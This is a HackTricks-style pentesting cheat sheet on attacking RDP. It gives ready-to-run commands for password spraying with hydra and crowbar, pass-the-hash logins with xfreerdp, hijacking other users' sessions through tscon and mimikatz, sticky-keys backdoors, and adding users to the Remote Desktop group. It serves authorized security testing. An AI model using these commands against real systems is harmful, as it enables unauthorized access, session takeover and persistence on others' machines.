# 3389 - Pentesting RDP

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## Basic Information

**Remote Desktop** Protocol (**RDP**) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs **RDP** client software for this purpose, while the other computer must run **RDP** server software (from [here](https://en.wikipedia.org/wiki/Remote\_Desktop\_Protocol)).

**Default port:** 3389

```
PORT     STATE SERVICE
3389/tcp open  ms-wbt-server
```

## Enumeration

### Automatic

```bash
nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 <IP>
```

It checks the available encryption and DoS vulnerability (without causing DoS to the service) and obtains NTLM Windows info (versions).

### [Brute force](../generic-methodologies-and-resources/brute-force.md#rdp)

**Be careful, you could lock accounts**

### **Password Spraying**

**Be careful, you could lock accounts**

```bash
# https://github.com/galkan/crowbar
crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'
# hydra
hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp
```

### Connect with known credentials/hash

```bash
rdesktop -u <username> <IP>
rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```

### Check known credentials against RDP services

rdp\_check.py from impacket let you check if some credentials are valid for a RDP service:

```bash
rdp_check <domain>/<name>:<password>@<IP>
```

## **Attacks**

### Session stealing

With **SYSTEM permissions** you can access any **opened RDP session by any user** without need to know the password of the owner.

**Get openned sessions:**

```
query user
```

**Access to the selected session**

```bash
tscon <ID> /dest:<SESSIONNAME>
```

Now you will be inside the selected RDP session and you will have impersonate a user using only Windows tools and features.

**Important**: When you access an active RDP sessions you will kickoff the user that was using it.

You could get passwords from the process dumping it, but this method is much faster and led you interact with the virtual desktops of the user (passwords in notepad without been saved in disk, other RDP sessions opened in other machines...)

#### **Mimikatz**

You could also use mimikatz to do this:

```bash
ts::sessions        #Get sessions
ts::remote /id:2    #Connect to the session
```

### Sticky-keys & Utilman

Combining this technique with **stickykeys** or **utilman you will be able to access a administrative CMD and any RDP session anytime**

You can search RDPs that have been backdoored with one of these techniques already with: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)

### RDP Process Injection

If someone from a different domain or with **better privileges login via RDP** to the PC where **you are an Admin**, you can **inject** your beacon in his **RDP session process** and act as him:

{% content-ref url="../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md" %}
[rdp-sessions-abuse.md](../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md)
{% endcontent-ref %}

### Adding User to RDP group

```bash
net localgroup "Remote Desktop Users" UserLoginName /add
```

## Shadow Attack

**AutoRDPwn** is a post-exploitation framework created in Powershell, designed primarily to automate the **Shadow** attack on Microsoft Windows computers. This vulnerability (listed as a feature by Microsoft) allows a remote attacker to **view his victim's desktop without his consent**, and even control it on demand, using tools native to the operating system itself.

{% embed url="https://github.com/JoelGMSec/AutoRDPwn" %}

## HackTricks Automatic Commands

```
Protocol_Name: RDP    #Protocol Abbreviation if there is one.
Port_Number:  3389     #Comma separated if there is more than one.
Protocol_Description: Remote Desktop Protocol         #Protocol Abbreviation Spelled out

Entry_1:
  Name: Notes
  Description: Notes for RDP
  Note: |
    Remote Desktop Protocol (RDP) is a proprietary protocol developed by Microsoft, which provides a user with a graphical interface to connect to another computer over a network connection. The user employs RDP client software for this purpose, while the other computer must run RDP server software 

    https://book.hacktricks.xyz/pentesting/pentesting-rdp

Entry_2:
  Name: Nmap
  Description: Nmap with RDP Scripts
  Command: nmap --script "rdp-enum-encryption or rdp-vuln-ms12-020 or rdp-ntlm-info" -p 3389 -T4 {IP}
```

<details>

<summary><strong><a href="https://www.twitch.tv/hacktricks_live/schedule">🎙️ HackTricks LIVE Twitch</a> Wednesdays 5.30pm (UTC) 🎙️ - <a href="https://www.youtube.com/@hacktricks_LIVE">🎥 Youtube 🎥</a></strong></summary>

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* **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>